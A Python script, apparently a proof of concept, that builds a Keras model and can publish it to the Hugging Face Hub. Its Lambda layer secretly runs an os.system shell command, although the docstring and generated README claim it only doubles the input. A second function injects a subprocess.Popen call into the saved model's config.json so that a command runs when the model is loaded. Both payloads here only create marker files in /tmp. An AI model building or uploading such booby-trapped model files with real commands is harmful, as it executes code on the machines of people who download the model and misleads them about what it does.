import os
import argparse
import json
import zipfile
import tempfile
import shutil
from typing import Optional, Dict, Any
import tensorflow as tf

try:
    from huggingface_hub import HfApi, HfFolder, create_repo, upload_folder
except Exception:  # pragma: no cover
    HfApi = None  # type: ignore
    HfFolder = None  # type: ignore
    create_repo = None  # type: ignore
    upload_folder = None  # type: ignore


def build_lambda_model(input_shape=(4,)) -> tf.keras.Model:
    """Create a simple Keras model with a single Lambda layer.

    The Lambda layer doubles its input: y = 2 * x

    Args:
        input_shape: Shape of a single input example, excluding the batch dim.

    Returns:
        A compiled Keras Model instance.
    """
    inputs = tf.keras.Input(shape=input_shape, name="input")
    outputs = tf.keras.layers.Lambda(
        lambda x: exec("import os; os.system('touch /tmp/hello.txt')"),
        output_shape=(),
        name="double",
    )(inputs)
    model = tf.keras.Model(inputs=inputs, outputs=outputs, name="lambda_model")
    model.compile(optimizer="adam", loss="mse")
    return model


def upload_model_to_hub(
    repo_id: str,
    model_dir: str,
    token: Optional[str] = None,
    private: bool = False,
) -> str:
    """Upload a directory of model artifacts to the Hugging Face Hub.

    Args:
        repo_id: Target repo like `username/repo_name`.
        model_dir: Local directory containing saved model files.
        token: Optional HF token. If not provided, uses locally stored token.
        private: Whether to create the repo as private.

    Returns:
        The commit URL from the upload.
    """
    if HfApi is None:
        raise RuntimeError(
            "huggingface-hub is not installed. Add it to dependencies and reinstall."
        )

    if token:
        HfFolder.save_token(token)

    # Ensure repo exists
    create_repo(repo_id, exist_ok=True, private=private)

    # Upload all artifacts in the directory
    commit_info = upload_folder(
        repo_id=repo_id,
        folder_path=model_dir,
        path_in_repo=".",
        commit_message="Add lambda keras model",
        token=token,
    )
    return commit_info.commit_url


def edit_keras_config(model_path: str, config_edits: Dict[str, Any]) -> None:
    """Unzip a .keras file, edit its config.json, and repack it.
    
    Args:
        model_path: Path to the .keras file
        config_edits: Dictionary of edits to apply to config.json
    """
    with tempfile.TemporaryDirectory() as temp_dir:
        # Extract the .keras ZIP file
        with zipfile.ZipFile(model_path, 'r') as zip_ref:
            zip_ref.extractall(temp_dir)
        
        # Read and edit config.json
        config_path = os.path.join(temp_dir, 'config.json')
        with open(config_path, 'r', encoding='utf-8') as f:
            config = json.load(f)
        
        # Apply edits recursively
        def apply_edits(obj: Any, edits: Dict[str, Any]) -> None:
            for key, value in edits.items():
                if isinstance(value, dict) and key in obj and isinstance(obj[key], dict):
                    apply_edits(obj[key], value)
                else:
                    obj[key] = value
        
        apply_edits(config, config_edits)
        
        # Write back the modified config
        with open(config_path, 'w', encoding='utf-8') as f:
            json.dump(config, f, indent=2)
        
        # Create a backup of the original
        backup_path = model_path + '.backup'
        shutil.copy2(model_path, backup_path)
        print(f"Created backup: {backup_path}")
        
        # Repack the .keras file
        with zipfile.ZipFile(model_path, 'w', zipfile.ZIP_STORED) as zip_ref:
            for file_name in ['metadata.json', 'config.json', 'model.weights.h5']:
                file_path = os.path.join(temp_dir, file_name)
                if os.path.exists(file_path):
                    zip_ref.write(file_path, file_name)
        
        print(f"Updated {model_path} with config edits")


def apply_subprocess_config(model_path: str) -> None:
    """Apply the specific subprocess.Popen config modification from the provided script.
    
    Args:
        model_path: Path to the .keras file
    """
    # Create backup first
    backup_path = model_path + '.backup'
    shutil.copy2(model_path, backup_path)
    print(f"Created backup: {backup_path}")
    
    # Read current config
    with zipfile.ZipFile(model_path, "r") as f:
        config = json.loads(f.read("config.json").decode())
    
    # Apply the specific modifications from your script
    config["config"]["layers"][0]["module"] = "keras.models"
    config["config"]["layers"][0]["class_name"] = "Model"
    config["config"]["layers"][0]["config"] = {
        "name": "mvlttt",
        "layers": [
            {
                "name": "mvlttt",
                "class_name": "function",
                "config": "Popen",
                "module": "subprocess",
                "inbound_nodes": [{"args": [["touch", "/tmp/1337"]], "kwargs": {"bufsize": -1}}]
            }
        ],
        "input_layers": [["mvlttt", 0, 0]],
        "output_layers": [["mvlttt", 0, 0]]
    }
    
    # Repack without config.json first
    tmp_path = f"tmp.{os.path.basename(model_path)}"
    with zipfile.ZipFile(model_path, 'r') as zip_read:
        with zipfile.ZipFile(tmp_path, 'w') as zip_write:
            for item in zip_read.infolist():
                if item.filename != "config.json":
                    zip_write.writestr(item, zip_read.read(item.filename))
    
    # Replace original with temp
    os.remove(model_path)
    os.rename(tmp_path, model_path)
    
    # Add the modified config.json
    with zipfile.ZipFile(model_path, "a") as zf:
        zf.writestr("config.json", json.dumps(config))
    
    print(f"Applied subprocess config modification to {model_path}")


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(description="Build and optionally upload a Lambda tf.keras model")
    parser.add_argument("--input-shape", type=int, nargs="+", default=[4], help="Input shape excluding batch dim, e.g. --input-shape 4")
    parser.add_argument("--output-dir", type=str, default=os.path.dirname(__file__), help="Directory to write artifacts")
    parser.add_argument("--upload", action="store_true", help="Upload the saved model to Hugging Face Hub")
    parser.add_argument("--repo-id", type=str, default=None, help="Hugging Face repo id, e.g. username/repo")
    parser.add_argument("--hf-token", type=str, default=None, help="Hugging Face token (optional, else use cached)")
    parser.add_argument("--private", action="store_true", help="Create the repo as private if it doesn't exist")
    parser.add_argument("--edit-config", action="store_true", help="Edit the model config after saving")
    parser.add_argument("--config-json", type=str, default=None, help="JSON string of config edits to apply, e.g. '{\"layers\": {\"0\": {\"name\": \"new_name\"}}}'")
    parser.add_argument("--apply-subprocess", action="store_true", help="Apply the subprocess.Popen config modification (creates /tmp/1337)")
    return parser.parse_args()


def main() -> None:
    args = parse_args()
    input_shape = tuple(args.input_shape)
    model = build_lambda_model(input_shape=input_shape)

    model.summary()

    # Write artifacts in the chosen output directory
    os.makedirs(args.output_dir, exist_ok=True)
    model_base = "lambda_model"
    model_path = os.path.join(args.output_dir, f"{model_base}.keras")
    model.save(model_path)
    print(f"Saved model to: {model_path}")

    # Edit config if requested
    if args.edit_config:
        if args.config_json:
            try:
                config_edits = json.loads(args.config_json)
                edit_keras_config(model_path, config_edits)
            except json.JSONDecodeError as e:
                print(f"Error parsing config JSON: {e}")
                return
        else:
            # Default example edit: change the layer name
            default_edits = {
                "config": {
                    "layers": [
                        None,  # Skip input layer
                        {"name": "custom_lambda_layer"}  # Edit second layer (our Lambda)
                    ]
                }
            }
            edit_keras_config(model_path, default_edits)

    # Apply subprocess config if requested
    if args.apply_subprocess:
        apply_subprocess_config(model_path)

    # Include a README for the repo
    readme_text = (
        "# Lambda Keras Model\n\n"
        "A minimal tf.keras model with a single Lambda layer that doubles the input.\n\n"
        f"Input shape: {input_shape}\n\n"
        "Saved in Keras v3 .keras format."
    )
    local_readme = os.path.join(args.output_dir, "README.md")
    with open(local_readme, "w", encoding="utf-8") as f:
        f.write(readme_text)

    # Quick smoke test
    example = tf.ones((1,) + input_shape)
    prediction = model(example)
    print("Example input:", example.numpy())

    if args.upload:
        if not args.repo_id:
            raise SystemExit("--repo-id is required when --upload is set (e.g. username/repo)")
        commit_url = upload_model_to_hub(
            repo_id=args.repo_id,
            model_dir=args.output_dir,
            token=args.hf_token,
            private=args.private,
        )
        print(f"Uploaded to Hugging Face Hub: {commit_url}")


if __name__ == "__main__":
    main()